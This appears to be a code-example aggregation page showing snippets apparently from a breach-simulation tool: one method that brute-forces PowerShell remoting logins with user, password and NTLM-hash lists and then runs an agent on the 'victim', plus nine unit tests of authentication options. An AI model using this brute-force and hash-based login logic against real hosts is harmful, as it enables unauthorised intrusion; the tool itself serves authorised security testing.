Esempio n. 1
0
    def _exploit_host(self):
        try:
            use_ssl = self._is_client_using_https()
        except PowerShellRemotingDisabledError as e:
            logging.info(e)
            return False

        credentials = get_credentials(
            self._config.exploit_user_list,
            self._config.exploit_password_list,
            self._config.exploit_lm_hash_list,
            self._config.exploit_ntlm_hash_list,
            is_windows_os(),
        )
        auth_options = [
            get_auth_options(creds, use_ssl) for creds in credentials
        ]

        self._client = self._authenticate_via_brute_force(
            credentials, auth_options)
        if not self._client:
            return False

        return self._execute_monkey_agent_on_victim()
Esempio n. 2
0
def test_get_auth_options__encryption_none_password():
    auth_options = get_auth_options(CREDENTIALS_NONE_PASSWORD, use_ssl=False)

    assert auth_options.encryption == ENCRYPTION_AUTO
Esempio n. 3
0
def test_get_auth_options__encryption_empty_password():
    auth_options = get_auth_options(CREDENTIALS_EMPTY_PASSWORD, use_ssl=False)

    assert auth_options.encryption == ENCRYPTION_NEVER
Esempio n. 4
0
def test_get_auth_options__auth_type_with_NT_hash():
    auth_options = get_auth_options(CREDENTIALS_NT_HASH, use_ssl=False)

    assert auth_options.auth_type == AUTH_NTLM
Esempio n. 5
0
def test_get_auth_options__auth_type_none_password():
    auth_options = get_auth_options(CREDENTIALS_NONE_PASSWORD, use_ssl=False)

    assert auth_options.auth_type == AUTH_NEGOTIATE
Esempio n. 6
0
def test_get_auth_options__auth_type_empty_password():
    auth_options = get_auth_options(CREDENTIALS_EMPTY_PASSWORD, use_ssl=False)

    assert auth_options.auth_type == AUTH_BASIC
Esempio n. 7
0
def test_get_auth_options__ssl_false_none_password():
    auth_options = get_auth_options(CREDENTIALS_NONE_PASSWORD, use_ssl=False)

    assert not auth_options.ssl
Esempio n. 8
0
def test_get_auth_options__ssl_false_empty_password():
    auth_options = get_auth_options(CREDENTIALS_EMPTY_PASSWORD, use_ssl=False)

    assert not auth_options.ssl
Esempio n. 9
0
def test_get_auth_options__ssl_true_none_password():
    auth_options = get_auth_options(CREDENTIALS_NONE_PASSWORD, use_ssl=True)

    assert auth_options.ssl
Esempio n. 10
0
def test_get_auth_options__ssl_true_with_password():
    auth_options = get_auth_options(CREDENTIALS_WITH_PASSWORD, use_ssl=True)

    assert auth_options.ssl